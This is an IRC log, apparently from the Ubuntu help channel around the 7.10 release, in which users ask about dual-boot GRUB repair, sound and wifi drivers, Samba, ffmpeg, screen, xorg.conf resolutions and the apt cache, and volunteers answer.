how cna I do that? [21:03] ArthurArchnix: I haven't disconnected the net, or anything. The machine was left alone and twice it's done the same thing :( [21:03] breakerfall: Excuse me, not disconnecting the cd, but disconnecting the network while installing. [21:03] COOL QAZWSX TEACH ME THAT :D [21:03] excuse me, does everyone gets the message Warning: the specified Windows directory L"c:\\windows" is not accessible. [21:03] Warning: the specified System directory L"c:\\windows\\system32" is not accessible. [21:03] when trying to use wine? [21:03] ArthurArchnix: I didn't disconnect the network :) [21:03] are you saying there are install logs I can see now? [21:04] i have an external DOS drive mounted, and i was trying to make it so i could write to the folders on it. i used the command sudo chmod -R 0666 /media/storage, and now i don't have permissions to do anything with the drive [21:04] help :( [21:04] breakerfall: I understand. All the same, if you've checked the cd for errors then the next thing I would try is to install without being connected. When you get to the part that says "autoconfigurig network failed" just skip it and say "dont' configure now I'll configure later". [21:05] Do I need to get rid of an older version of GTK before installing a newer version? [21:05] pizza: chmod 777 [21:05] I used to have dual boot ( ubuntu / XP ) and everything worked fine with grub. Yesterday i reinstalled windows XP and grub loader was gone and now i can't access my ubuntu. Is there a way to bring back the grub loader ? [21:05] breakerfall: If at that point you still hang and have errors, I would switch to the alternate cd. [21:05] I'm just worried about all the dependencies - synaptic wants to remove a whole bunch of other things if I tell it to get rid of GTK [21:05] windows breaks mbr [21:05] lilo used to fix mbr [21:06] pizza - yes, it does. You should usually install Linux last in a dual-boot configuration [21:06] by just running "lilo" again [21:06] if you try to install windows again it stomps all over the mbr [21:06] Does anyone gets the message Warning: the specified Windows directory L"c:\\windows" is not accessible. [21:06] Warning: the specified System directory L"c:\\windows\\system32" is not accessible. [21:06] when trying to use wine? even though some apps may work [21:06] you can also boot a install cd and 'fix' grub when windows does its evil magic on it [21:06] pizza - Linux has to be installed last to save yourself lots of trouble [21:06] obv [21:06] When you go dual screen in Ubuntu and you use seperate X, do you actually have use more than one xorg.conf files? [21:07] hi, i have dell vostro 1400 laptop, and i can't hear any sound outta this computer ... i can just make it work using headphone , i'm using gutsy, does someone know how to work around that ?

[21:09] Where can I download iTunes for Ubuntu?? [21:09] anyone knows? [21:10] Orwellian, what do you need with itunes?if its just to sync with your ipod, rhythmbox should be able to do it [21:10] When building rpms, you can do 'rpmbuild -bp' and it will unzip the source and apply patches and then stop. Is there an equivalent command to do this? debuild wants to go all the way into the build procedure, I can't find how to make it stop. [21:10] yes just sync and listening on it and so on... [21:10] Marcusklaas, < i'm afraid there is no linux driver on dell website for vostro 1400 laptop :/ [21:10] rythmbox, ok... [21:10] and another question, [21:11] Where do I find the default Gnome icons?

Including the xorg.conf file and everything?\ [21:14] Orwellian, pidgin [21:14] Orwellian, I think you have o install skype. rest of the protocols are supported by pidgin [21:14] bruenig, yes, anyways, do anyone know where they are located? [21:14] hmm thank you devilsadvocate... [21:15] Hello, my gnome-sessions-manager seems to have broken with an upgrade? My window manager nor panel runs on start, and gnome-session-properties says "cannot connect to the session manager" [21:15] Orwellian, about your firefox issue, i guess you could try to delete your bookmarks files. maybe something is wrong and it isnt able to read it [21:15] it should be somewhere in ~/.mozilla/firefox/(something).default/bookmarks.html [21:15] Okay... Not getting any info on GTK... how about this - on the GIMP website, it says that to obtain the latest version of GIMP, I merely need to run apt-get install gimp, yet, when I do this, all I get is GIMP 2.2.13, the one that comes with Feisty. Is there any way for me to correct this other than compiling and installing GIMP manually (which I seem to be having considerable difficulty with) [21:16] Orwellian: there are alternatives to skype that you should use if you can but if you need to talk to people using skype.. youll need skype [21:16] mn [21:16] Draggin - let me find you a link that helped me install the new gimp [21:17] Sorry I got this error when downloading at package install : wrong architecture i386 [21:17] on skype and every programme i install for debian/ubuntu [21:17] flexgrip : isnt the new gimp inn backports?

It seems yoru apt is looking for the wrong packages [21:19] Here's a question...I notice that alot of Ubuntu programs use a 24-hour clock, specifically KOrganizer. Is there a way to have KOrganizer use a 12 hour time selection? [21:19] cause it makes my head hurt [21:19] devilsadvocate Version 7 from the website [21:19] seanh - maybe you should try gnormalize. Just make sure you have all of the codecs you need to open RAM files [21:19] hi, i have dell vostro 1400 laptop, and i can't hear any sound outta this computer ... i can just make it work using headphone , i'm using gutsy, does someone know how to work around that ?

[21:43] quinton, make a backup of the xorg.conf and replace it with what is in the pastebin file now. It may work, or it may kill your x. in case next time X doesnt open, just switch back to the backup from the command line. think you can do that? [21:43] ikonia: did you see my pastebin? [21:43] is RFMON mode supported with orinoco drivers in gustsy? [21:43] J_5: sudo reboot [21:43] is there a shortcut to open a process manager? Like ctrl+alt+dlt in windows.

[22:06] i have kopete installed but that wont seem to connect EVER noty even when gaim worked [22:06] _Dbug_, ok then if you don'T need to backup anyting, whipe your hdd clean, make two partitons on it , half and half , make sure you have the second half of your hdd formated to ext3 , then install windows on the first half, no need to format the first half before instaling widows will do it anyway , , then you can delete the second partiton and instal ubuntu in the newly free space === macd_ is now known as macd [22:07] Pollywog: Yup.

[22:14] autoremove [22:14] Alonea, you'd have to get a deb package or do it from the source and compile at your own risk, either way that is a questuion for the ppl in #kde [22:14] Pollywog: I just ran the install in terminal [22:14] Pollywog: It didn't ask me anything [22:14] Agent, if u have slow internet then u should do it from a .iso burned to a cd, however the live cd doesnt work u need the alternate and ive never done it personally so i wouldnt no...sorry but i think u go in synaptic and tell it to look at optical drive insted of interjnet [22:14] hello eveyone [22:14] Pelo, nope, it's not there :( [22:15] I don't know why the package you installed would make your machine not boot [22:15] _Dbug_, I heard stuff about the partition editor in gutsy having difficulties, if you have a feisty cd you might want to use it for that part [22:15] Pelo: ah, ok. used to compiling, just not seeing make files. also lack of instructions (Well, I can't find them...)

Please unmount any logical partitions having a number hight thatn 5", except I 've not mounted anything. [22:16] Pollywog: No, I've tried logging in as my user and as root [22:16] Agent, i dont no either but ill make a search and if i find something ill tell u [22:16] o shit [22:16] i think i just found it by accident [22:16] _Dbug_: use umount -a [22:17] !ohmy [22:17] Please watch your language and topic to help keep this channel family friendly.

[22:17] Agent, r u in synaptic? [22:17] Reno: yeah you can trust realtek but you cant trust that realtek built the package to work specificaly with ubuntu [22:17] Reno: okay now I see why Idleone said that [22:18] hi i am looking to get mail up and running quickly, i just need local delivery. are there any MTAs in ubuntu that have a default like this [22:18] Agent, answer....i think i found ur solution [22:18] IdleOne + Pollywog: Ohhh...

Looks like the installer badly fucked up the filesystem when it failed. Will boot the windows xp cd and see if I can erase partitions from there.

[22:36] spiritik, you need to get your manual for the modem/router and set up NAT and please don't repeat so often [22:37] k1dugar: Sorry, no idea... if you google something has to show up. [22:37] anyone? how do I clear auth.log ? just remove it? [22:37] ok sorry.. I will try [22:37] Jack_Sparrow: I can turn it on manually but its not the solution === Johanna_S is now known as JohannaS [22:37] ompaul: how can I setup NAT? [22:37] if you have 2 mice, is it possible ti disable one without editing xorg.conf? [22:38] anyone know of a rm command with a --exclude option like rsync??? [22:38] spiritik, you need to get your manual for the modem/router and set up NAT and please don't repeat so often [22:38] Jack_Sparrow: anyway I have tried every tip related to it. Even I made DSDT table for fixing it, but nothing seems to work === JohannaS is now known as Jannita [22:38] k1dugar: If you can turn it on manually you can get a script to do it on power up.. But others with the same hardware may have a better soultionh than full on all the time. It would be hard on battery life [22:38] * _vector_ is away: I'm busy doing stuff. [22:39] Jack_Sparrow, ok..does it go in the kernel or something since that is a problem? === islandesina is now known as ahietta [22:39] Im asking how can I set it up..I personally dont consider asking other thing as repeating [22:39] It seems I'll have to compile a program, and in order to do so I'll need a FreePascal compiler. At this point, I have no bloody idea what I'm doing. [22:39] Jack_Sparrow: true that's why im looking for fix [22:39] kerik: did you read the link.? It explains it.. [22:39] I've tried that, but I guess I could try again... Maybe I missed something... Thanks! [22:39] if you have 2 mice, is it possible ti disable one without editing xorg.conf? [22:40] However, it does seem Ubuntu doesn't have a Pascal compiler. freepascal.org has Debian packages, which apparently are compatible. That's where my understanding drops off. What now? [22:40] yeah I read it...or am reading it... [22:40] Is there a big bug in ipv6? (gutsy) [22:40] spiritik, I used the same line as I had used once - I don't know your router and it is for you to work with that - you need to read your manual to allow traffic to port 22 so you need to get the manual the makers usually have them online [22:41] but will finish reading ;) [22:41] dmb: my lappy has a setting in bios, and another has a switch on the touchpad. You might setup a second user? [22:41] hmm [22:41] dmb: actually not sure if that would do it [22:41] macksting, what are u talking about no pascal in ubuntu? [22:41] macksting, install gpc gpc-doc [22:41] macksting, its there [22:42] how do i get intel hda sound to work? [22:42] Oh. [22:42] is there a way to do "Remote Assistance" between Windows XP and Linux? Not a replacement....a way to have a user on Windows request remote assistance using the built in method, either with Windows Messenger, or by using "Help and Support", and a Linux user be able to accept that request and take control of the WinXP machine? [22:42] high [22:42] macksting, free-pascal is also in the repos [22:42] Thanks! [22:42] anyone here know any advanced ffmpeg command line? [22:42] macksting, but gpc is probably preffered one] [22:42] * macksting used the wrong filter. [22:42] yuaoki_, what do u need to do? [22:43] I want to convert mkv to avi [22:43] WorkingOnWise, you should look at VNC [22:43] but can't select the specific language channel to convert [22:43] how to do I change a timezon [22:43] I mean timezone [22:44] ompaul: as I understand it, VNC would replace the built in remote desktop methods that Windows uses, right?

[22:45] WorkingOnWise, perhaps - it is how I would solve that issue [22:45] yuaoki_, do u want to keep just one audio channel? [22:45] ompaul: for some odd reason, when it install, New York was selected [22:45] yuaoki_, u'll probably need to manually map streams [22:45] harushimo, you can alter that at install time [22:46] usser- how do I do that? [22:46] yuaoki_, take a look at ffmpeg's -map input stream id[:input stream id] [22:46] Set stream mapping from input streams to output streams. Just enumerate the input streams in the order you want them in the [22:46] output. [input stream id] sets the (input) stream to sync against. [22:46] sorry [22:46] ompaul: I tried, I couldn't [22:46] Ahh, Ubuntu. :) [22:47] harushimo, that is how it is done within the ubuntu desktop [22:47] * mikeo wonders how to get sound to work [22:47] usser- how do I do that?

[22:48] thanks [22:48] yuaoki_, i've never done that i know the option is there though [22:48] WorkingOnWise, you should ask in ##windows for available methods and then choose the least pain method [22:49] yuaoki_, ok here it is [22:49] Ugh -- I just got a new 1920x1200 monitor and ubuntu's not behaving well with the resolution [22:49] yuaoki_, ffmpeg -i InputFile.mpg -map 0:0 -map 2:1 -b 1200 OutputFile.avi [22:49] no answers for me? [22:50] i want to start program trought ssh and logout, but i need to program still work. How can i do it? [22:50] yuaoki_, in this example stream 0 is video stream 1 is spanish audio stream, stream 2 is english [22:50] All, where do I get a clean copy of U server? One's I've downloaded are all failing! [22:50] ompaul: yeah, thats the other end of my chain here. For now, I'm running xp in a vm and doing it that way. Works well, but it sure is a lot of overhead fro such a task! [22:50] yuaoki_, see -map 2:1 that maps english input stream to the output stream spanish is discarded [22:50] perrako it should just be one line you need to add to xorg.conf [22:50] when i logout program stop [22:51] wabiD -- as far as I can tell, it's got that line already. [22:51] kruvalig: if it's a shell program use screen then detach screen with C-a C-D [22:51] if its the only resolution you want, remove all the other lines [22:51] usser- ok I think I understand [22:51] in section screen and subsection display have only this [22:51] Modes "1920x1200" [22:51] well, i'm seeing about 3 different screens come up [22:52] then it has no choice [22:52] identifier=default screen? [22:52] WorkingOnWise: what about a simple remote desktop? [22:52] ok, followed the troubleshooting page and i still have no sound [22:52] wabiD: I'll try that, sec [22:52] program is rtorrent [22:52] yuaoki_, try to manipulate with it, ffmpeg shows u the mapping it does [22:53] i had problems in the past, but now i just give it no other option except 1920x1200 and it doesnt ever complain [22:53] ugh.. [22:54] kruvalig: yeah screen will work for that [22:54] wabiD: I tried that, but I still am in 1024 x 768. I've got a "Section 'Monitor'" with a bunch of modelines [22:54] with resolutions and a lot of other info [22:54] perrako: Just make sure you know how to sudo dpkg-reconfigure xserver-xorg to get back in if you guess wrong [22:54] k [22:55] i try it. it is not worked. What am i do wrong? [22:55] kruvalig: C=ctrl by the way [22:55] i strike ctrl+a+d [22:55] nothing happans [22:55] anybody know if it is possible to remotly control a win2k3 server from a laptop running ubuntu? I know that I can control the server remotly but I don't know if I can do it from my laptop, would be nice to be able to work like that tomorron [22:55] kruvalig: ctrl+a then ctrl+d [22:56] is it possible to run pidgin normally behind a proxy server? [22:56] kruvalig: ctrl+a puts screen in command mode [22:56] I've got kind of an odd "problem" and am wondering if anyone has encountered it or has any ideas: the output of g++ is adding some extra characters like " error: prototype for âint TestClass::function() constâ does not match any in class âTestClassâ" [22:56] I've never seen this on another system, only my Ubuntu one... wondering if it's a setting somewhere?? === amidanie1 is now known as amidaniel [22:57] someone [22:57] i work under fedora [22:57] Taevin: sounds like a locale setting on the terminal [22:57] t [22:57] may be this an answer? [22:57] Taevin: what does `echo $LANG` report? [22:58] en_US.UTF-8 [22:58] kruvalig: screen works the same on any distro but fedora does do some odd things can ask in #fedora [22:58] $ locale [22:58] LANG=en_US.UTF-8 [22:58] LANGUAGE=en_US.UTF-8 [22:58] LC_CTYPE="en_US.UTF-8" [22:58] LC_NUMERIC="en_US.UTF-8" [22:58] .... and so on [22:58] on server i have ubuntu [22:58] is there a channel for trouble with pidgin? [22:58] and there this command althought not work [22:59] this keys [22:59] kruvalig: are you running rtorrent in screen? [22:59] in x terminal [22:59] Taevin: hmm... [22:59] kruvalig: did you type screen rtorrent to start rtorrent inside screen? [22:59] kruvalig: or just screen [23:00] kruvalig: since ctrl+a will do nothing you need to press ctrl+d after ctrl+a [23:00] Yeah, I'm kind of at a loss... I don't think it's necessarily "junk" being added since the 'a' character is surrounding stuff like class names and declarations [23:01] kruvalig: you should see something that states [detached] [23:01] hello all [23:01] i do "ssh username@adresofserver" [23:01] Taevin: I'd think it was a locale setting, but what you have looks right... [23:01] Is there support for voice authentication yet? [23:01] hey could somebody help me out? [23:01] then i do "rtorrent" [23:01] i dont have direct rendering on gutsy with nvidia [23:01] kruvalig: ok your doing it wrong that's why [23:01] then press ctrl a d [23:01] kruvalig: screen rtorrent is the command you want [23:01] Yeah I thought it might have been a locale thing too but the few locale files I know all look fine [23:02] should i install the nvidia driver from nvidia.com? [23:02] How do I burn DCI files? [23:02] hey all [23:02] i eant to it work after i logout [23:02] from server [23:02] kruvalig: I know [23:02] im getting an ipod 6th generation classic [23:02] perrako, try commenting out all the modelines [23:02] i just wanted to know if that will work with ubuntu 7.10 [23:02] x shoud detect that stuff automatically now, its not really needed [23:02] Sigh... it's not the end of the world but it sure does make it harder to read my compiler's complaining at me ;) [23:02] kruvalig: type screen rtorrent and then ctrl+a ctrl+d and then logout and it will work [23:02] just mode "resolution" should work [23:02] !cdi [23:02] Sorry, I don't know anything about cdi - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi [23:03] wabiD: I'm even more lost now. I tried using the KDE command center to set up the monitor [23:03] I'm compeltely baffled [23:03] one sec [23:03] thank you very march [23:03] very very [23:03] Hey could somebody help me out, I've got two cd drives, one is a usb and the other in internal and it is broken. The thing is the terminal asks for the internal cd rom drive (ubuntu 7.10 gutsy) whenever I'm trying to update, and I need the external usb drive to work with the terminal, but I don't have any idea on how I would go and do that, can anyone help? [23:04] I am finding evolution is kinda not doing a lot with my dovecot IMAP server. [23:04] kruvalig: screen is wonderful if you use a lot of console apps or want to have multiple "windows" open in just one console [23:04] when you filter messages it just kinda lags out, does nothing, as if its waiting for the server. [23:04] But thunderbird used to work ok. [23:04] Well, I'll play with it some more. I appreciate your thoughts Pici. [23:04] Taevin: yeah, good luck [23:04] jsoftw, evolution has problem with imap afaik [23:05] Damn it. [23:05] Perhaps I use kmail. Is that any good with imap? [23:05] jsoftw, I dunno.. haven't tried [23:05] could someone help me with that problem? [23:06] jsoftw: remember most here run gnome they don't touch kde apps very often [23:06] how can i see this rtorrent now? [23:06] Ithilin, have you tried unplugging it? [23:06] Is there a way to restore /tmp/ files once u reboot? [23:06] kruvalig: screen -r to reattach it to detach it the same way as you did before [23:07] Ithilin, go to System > Administration > Software Sources and disable the cd there, so it just uses the internet for updates [23:07] why would I do that? it works fine and can boot anything, it's just the terminal is asking for my internal cd drive ( cdrom ) and not my external which is ( cdrom1) [23:07] Ithilin, you just said it's broken... [23:07] the internal one is [23:08] usb works fine [23:08] Ithilin, well have you tried unplugging it? (the internal one) [23:08] not even sure on how to do that, since it's a laptop [23:08] Ithilin, oh. so it's a laptop :/ [23:08] yes [23:09] y cant I see the home folder or navigate to anywhere on my disc? === psyferre_ is now known as psyferre [23:09] it's a real great things [23:09] !!! [23:09] Ithilin, then you can try to edit the fstab (/etc/fstab) [23:09] any ideas on what I can do? can't I just change the way the terminal looks for the cd drive, or just change my external to cdrom istead of cdrom1 [23:10] I would like to see what is on my puter like in MyComputer in windows can someone help me [23:10] all that i need [23:10] what do I do in /ect/fstab [23:10] Ithilin, (kane77), editing the fstab or unpluggin the drive is pointless, the issue lies in /etc/apt/sources.list having an entry for that drive [23:10] hey folks, i'm having a bit of trouble getting network access to shares on my new ubuntu installation. I've setup samba, but when windows machines attempt to connect i can't authenticate [23:11] hmm i'll look inside sources.list? [23:11] what exactly would I be searching for [23:11] astro76, that is a part of that problem also, but what if he wants to get the packages from the cd? [23:11] yeah that's exactly my problem kane [23:11] Ithilin, the line that mentions the cdrom, either remove it, or edit it to your other cdrom [23:11] ok [23:11] psyferre: did you add a user to the smbpasswd ? === tehansen is now known as psycadelic [23:12] These ubuntu help files aren't very helpful [23:12] psyferre: if your connecting with a windows machine, try enabling wins server = yes [23:12] Ithilin, I'd edit the fstab anyway to get rid of the broken drive... just find something like /media/cdrom [23:12] how is it again you make a filesystem to a file? [23:12] psyferre: in smb.conf, wins support = yes sorry not wins server [23:12] Ithilin, sorry/cdrom0 [23:13] juano_: heh, knew it had to be something simple :) i looked through the users and groups, but there is no samba group [23:13] ok I will [23:13] Ithilin, kane77, true true, edit fstab appropriately and you can leave sources.list alone [23:13] Ithilin, and comment it (with # before the line) [23:13] TopAgent, Click on Places and follow your instinct [23:13] psyferre: sudo smbpasswd *username* username needs to be in local passwd (it needs to be a user from the box) [23:14] Ithilin, and rename the second one (I guess it'd be /media/cdrom1) to /media/cdrom0 [23:14] comment with #? [23:14] using kde and there is no places [23:14] hi again, my sound works now \°o°/ [23:14] very new to linux and am unsure of what that means [23:14] but my wifi no longer does work .... [23:15] i must have removed some important packet [23:15] woot! Thanks, folks, that got it! [23:15] Ithilin, make the first chacter of the line #, and it "disables" the line [23:15] Ithilin, yes, or you can just switch the cdrom0 for cdrom1 (switch the numbers) but leaving it out would be better (since it doesn't work anyway) [23:15] its w00t, not woot [23:15] :@ [23:15] psyferre: great [23:15] does someone know which packet do i have to install in order to make this wifi chipset work : 0c:00.0 Network controller: Intel Corporation PRO/Wireless 4965 AG or AGN Network Connection (rev 61) [23:15] ??? [23:15] lolol [23:15] fair enough, r00tintheb0x :) [23:15] :D [23:15] !wifi | Fallenou[oqp] [23:15] Fallenou[oqp]: Wireless documentation can be found at https://help.ubuntu.com/community/WifiDocs [23:16] I NEED HELP...why can i have access to files on other computer in a wireless lan? [23:16] oki thanks ! [23:16] ok thank you [23:16] where can I find KDE help? [23:16] I hope that works [23:16] !kde [23:16] KDE (http://kde.org) is the !desktop environment used natively in !Kubuntu.

[23:17] astro76, right, it's a cdrom.. :) it _is_ late [23:17] Rencore_, installed the flashplugin-nonfree package? [23:17] astro76 yes [23:17] Rencore_: check url : about:plugins to see if its listed there [23:17] Rencore_, using 64bit ubuntu? [23:18] astro76 yes [23:18] Rencore_: about: plugins without the space [23:18] ubotu < hum this page says how to install it under feisty but not under gutsy [23:18] astro76 < this page says how to install it under feisty but not under gutsy :o [23:18] when I go to Places -> Connect to Server and fill out the connection form and hit connect... where can I access the connection mounts? [23:18] Rencore_: ahh u need a special install for 64bit [23:18] juano__, it says its installed and enabled [23:19] Yep, Kmail is very nice with imap :D [23:19] Its all responsive and quick [23:19] And non-laggy [23:19] it says too that i have to install it using ndiswrapper but i didn't have ndiswrapper and it did work as well anyway [23:19] and non poisionous [23:19] Rencore_, https://help.ubuntu.com/community/AMD64/FirefoxAndPlugins?action=show&redirect=FirefoxAMD64FlashJava#nspluginwrapper [23:19] so ... i think there is another way to install my wifi chipset :o [23:19] in fact it was working out of the box ! [23:20] just after first ubuntu installation it worked ... but i had to install/delete some packet to get my sound working [23:20] Fallenou[oqp], it should be identical... you should check system > admin > restricted drivers manager first [23:20] Fallenou[oqp], you an install ndiswrapper from the repos on your install cd [23:20] is there a way to change my eth2 to eth1 and eth1 to eth2? [23:20] Pelo < what ? i don't understand :o [23:20] have a question. [23:20] Fallenou[oqp], it should be identical... you should check system > admin > restricted drivers manager first < it just speaks about my graphic card here. [23:20] Fallenou[oqp], you need to get your wifi card working and thre is no linux driver for it ? [23:21] Pelo < it worked out of the box, i mean just after installing ubuntu, it was working [23:21] just installed ubuntu 7.10 gutsy on a pc. trying to get an ati radeon x1300 xge to run on this machine.

[23:26] #kbuntu [23:26] jason: sec. [23:26] Fallenou[oqp], maybe not some of the deeper services but it can't think of the other meta package that would do it , [23:26] crimsun: thnx [23:27] paulybombom, type /join #ubuntu-es [23:27] peepsalot: A lot apps have their own irc channel. Check the homepage [23:27] when i try to map the win key to xfce-menu-popup the shortcut says SUPER+SUPER_L and the menu does not show, how do i get about this one? I want it to behave like the windows shortcut key. [23:27] usser: ~ were is this? ;) [23:27] where [23:27] in search [23:27] #j ubuntu-ph [23:27] ? [23:27] paulybombom, where you type when you talk here [23:27] richo, it means root dir [23:27] ok i ran it, and it is taking a long time at the IDE thing and my dvd drive is blinking [23:28] richo, ~ = $HOME [23:28] kirika: ok [23:28] hello [23:28] kirika: root and home are not the same things ;) [23:28] not to me anuwau [23:28] ArthurArchnix, sure, the only problem is this app hasn't been written yet. I mean something analogous to the ubuntu forums subtopic of "Development & Programming" [23:28] anyway [23:28] umm [23:28] ;) [23:28] is there a way to get my ubuntu fresh without installing and upgrading or burning an iso [23:28] ArthurArchnix, except in irc of course [23:28] peepsalot: Heh. Oh. [23:28] i dunno how to used this program [23:28] just installed ubuntu on a dell xps [23:29] my god :-). wonderful ! [23:29] tacone, glad u like it :) [23:29] richo, what exactly are you looking for [23:29] crimsun: any idea [23:29] nothing on ubuntu forum [23:30] kirika: i need to pick up all my old favorites on 2 diffrent older ubuntus ;) [23:30] kirika: i dont find that folder at all. is it hidden somehow? [23:30] Rencore_, with the exception of system changes (i.e. in /etc/), you can just create a new user [23:30] richo, yes when a folder that starts with "." it mens its hidden [23:30] tried both linux drivers. along with the kernel header package from Ubuntu's site, [23:30] but no luck so far. [23:31] richo, it should be in .mozilla [23:31] kirika: okay. can i use chmod to unhide it or how do i do it? [23:31] jason: I'm pretty busy ATM; please wait a tic [23:31] crimsun: ok thank u very much [23:31] richo, use the file manager and click show hidden files [23:31] richo, or run ls -a [23:32] richo, in nautilus view->show hidden files [23:32] kirika: yeah works thx alot [23:32] when i try to map the win key to xfce-menu-popup the shortcut says SUPER+SUPER_L and the menu does not show, how do i get about this one? I want it to behave like the windows shortcut key. [23:32] hi ! [23:32] where do i edit the config file for keyboard shortcuts? [23:32] im using Xubuntu 7.10 btw [23:32] is it normal to have a bunch of console-kit-daemon process ? [23:33] what do i need to add to a grub entry to make it the default boot choice [23:33] nantax, super+super-L means both winkeys at once, remove super+L bit [23:33] jason: amixer set 'IEC958' mute && amixer set 'Capture' nocap && amixer set 'External Amplifier' mute [23:33] CochiseIRL: if it's the first in the list it will be default [23:33] ziadoz: i know, but i cant edit the entry for the shortcut in xubuntu [23:33] ubuntu needs something to just create a fresh new install without having to use the cd [23:33] Rencore_: you can do that via a netinstall [23:33] Tha_Gamemaster, is here a way to specify the one i want is last on the list [23:34] crimsun how? [23:34] richo, it should be in .mozilla/.default/bookamrks.html [23:34] CochiseIRL, check toward the top , there is a line called default = 0 , that's the default os to boot, the numbering starts with 0 , 0 being the firstr os listed at the top [23:34] Rencore_: use the netboot images if your hardware supports them. [23:34] how exactly do I delete the super+l thing? it automatically appears when i press just one win key... [23:35] CochiseIRL: if you have 9 entries and you want the nineth one to be default, then you put in grub.conf default=8 [23:35] nantax, good qustion maybe the ppl in #xubuntu might know [23:35] CochiseIRL: because 0 is the first one [23:35] Tha_Gamemaster, not grub.conf, /boot/grub/menu.lst [23:35] Pelo: tnx, I'm heading over there, I hope somebody is awake over there lol [23:35] Pelo Tha_Gamemaster , does the other operating systems line count as an option? [23:35] kirika: yeah great i can see it but how do i take bookmarks.html from 4 diffrent users and 2 diffrent installs and import them to my new install now? [23:36] I installed pidgin using a 3rd party repo. I removed that repo and sudo apt-get updated. when I uninstalled and reinstalled pidgin, the version from the 3rd party repo was still the one installed [23:36] CochiseIRL, you are not counting lines, you are counting menu entries [23:36] any ideas on how I install the version from the official repo? [23:36] CochiseIRL: Pelo is correct [23:36] crimsun: did that but again no sound [23:36] Pelo, sorry didnt make myself clear, i have 3 entries then a line saying other opeating systems, then an other os the last one would be number 3 yes? [23:36] richo, save them to a disk and on the new install place them in a directory and add them with whatever browser you use and merge them [23:37] wers, remove, update the package list (sudo apt-get updage) , then reinstall [23:37] that's what I did, Pelo [23:37] problems with gnome-settings-manager. always occurs when installing linux-kernel-rt. Anyone seen this? [23:37] but whenever I install pidgin again, it still installs the version from the 3rd party repo [23:37] CochiseIRL, no , those donT' count, the only thing the grub menu realy sees are the root ... lines I think [23:37] crimsun: again no sound man, any other idea what to do ? [23:37] Pelo, thanks i'll give it a whirl so, cheers [23:37] jason: amixer set 'Spread Front to Surround and Center/LFE' unmute && amixer set 'Exchange Front/Surround' unmute && amixer set 'Surround' unmute && amixer set 'Center' unmute && amixer set 'LFE' unmute [23:37] wers, the pakcage is probably still in your install cach, you'd ahve to delete it [23:37] I should say "with linux-jernel-rt" not when. [23:38] Tha_Gamemaster, thanks for the help too [23:38] wers: you need to remove the repo from sources.list and clear the .deb from cache like Pelo just said [23:38] CochiseIRL: sure :) [23:38] crimsun: You are the man [23:38] crimsun: Thank you very mucbn [23:38] much*\ [23:38] jason: np. [23:38] "There was an error starting the GNOME settings manage..." [23:38] * Pelo can't remember where the damn cache is [23:39] hmmm.. [23:39] what is the install cach? [23:39] how do I get to it? [23:39] If I wait a few minutes before logging in, I don't get the error. [23:39] /var/apt/archive [23:39] wers, it's a folder, gimme a minte I'M trhing to locate it [23:39] ummm /atc/apt/archive [23:39] etc [23:39] kirika: ok seems to get it going now ;) thx alot saved me tons of time :P [23:40] IdleOne: /var/cache/apt/archives/ [23:40] wers, /var/cache either in /apt or in /apt-install [23:40] soundray: thats it [23:40] richo, no problem i went through the same thing because i lost a lot of bookmarks [23:40] Pelo: /var/cache/apt/archives/ [23:40] or what that soundray dude said [23:40] ty soundray [23:40] Yeah, wers, listen to that soundray dude [23:41] * Pelo thinks soundray is trying to make him look bad [23:41] kirika: ok great [23:41] he knows all about sound and rays [23:41] I found it [23:42] wow [23:42] this folder's cool [23:42] haha [23:42] You've seen me here before. === xp_prg is now known as xp_lunch [23:42] Guess what! [23:42] would it make sense if I just delete all these debs? [23:42] I've decided that I want to dual-boot ubuntu and windows! :) [23:43] we're seeing you again ? [23:43] wers: 'sudo apt-get clean' does it for you [23:43] hi i get this error when trying to connect my phone to my laptop ...No se pudo mostrar «obex://[00:1b:52:71:56:da]». Check if the service is available [23:43] how do i reconfigure my keyboard (select another layout) in xubuntu [23:43] is this a bug in ubuntu gutsy? [23:43] Phantom_, what is installed on the comp now ? [23:43] nobody using real-time kernel? [23:43] nantax, ask in #xubuntu [23:43] Windows XP Home Edition, SP2 [23:43] wers: 'sudo apt-get autoclean' removes all outdated debs from that directory [23:43] ccunarro: umm probably not since if the service is not available then you won't be able to connect [23:43] thanks, soundray dude! [23:43] i need to why my laptop stop working when i plug-in the external hard drive into my usb2.0 cardreader [23:44] * soundray is now known as soundray_dude [23:44] I was playing with my pidgin install because of this one bug... [23:44] Now, my question is, can I dual-boot without having to format my hard drive and reinstall both? [23:44] Phantom_, backup your important data , just in case, defrag the windows hdd and then just install ubuntu regularly , at some point you will be asked to resize the windows partiton to make place for ubuntu [23:44] i have accidently formatted an ntfs drive to reiferfs .. how can i recover the data? [23:44] tifine: not enough power to the reader? [23:44] whenever I reopen pidgin, the plugins that I have activated during my last session get reactivated [23:44] dn, you can't [23:44] get deactivated, i mean [23:45] why is that, plugin settings aren't saved? [23:45] okie so it means that i have to plug-in its adapter [23:45] do you, guys, experience that too? [23:45] wers: no that's how the program works [23:45] Well, I do need to delete some large files first. Should I do that under windows or am I safe to do this through ubuntu? [23:45] they are just a couple of .iso files [23:45] kitche: okie so it means that i have to plug-in its adapter [23:45] Pelo: why? [23:45] kitche, in the old versions, the plugin settings are saved [23:45] tifine: maybe that just one cause maybe of why it stops working [23:45] and that's the way I want it [23:45] Hi, whenever I edit /etc/motd, and restart it gets replaced. [23:45] I just got a monitor that supports 1680x1050, and my video card (an NVidia 7900) supports up to 2560x1600, but Ubuntu does not display the 1680+. Can I get Ubuntu to let me use 1680x1050? [23:45] wers: well gaim != pidgin is the way it's built [23:46] dn, formating involves deleteing the old data [23:46] kitche, even the old pidgin in feisty savees the settings [23:46] anyway [23:46] Mike_HPM: Have you reconfigured your xorg.conf? [23:46] no, there are programs for windows like file scavenger than recover drives that have been formatted. it the data isn't gone. [23:46] I want pidgin to save my plugin settings. what do I do? :D [23:46] wers: then it's how it's built but anyways pidgin has been rebuilt at least twice fromw hat I seen they like to remove a lot of settings are can be enabled in the source cod [23:46] augi01: No, I wasn't sure if I should manually add a section for 1680x1050 or not. Should I? [23:46] dn, ask in #windows then they might know [23:46] dn: well, in the case of an accidental reiser formatting, the data most likely *is* gone [23:47] code* [23:47] hi guys i get grub error 17 and have no idea why. anybody help? [23:47] kitche, actually, I saw a bug report for this issue [23:47] mmm... [23:47] what can i do? :D [23:48] Mike_HPM: I would advise opening a terminal and run the command: sudo dpkg-reconfigure xserver-xorg - following the menu's that come up, it will reconfigure your xorg.conf and that should allow for the full resolution support of your monitor. [23:48] * Pelo is enjoying a plate of freshly made home baked cookies [23:48] wers: find the bug report 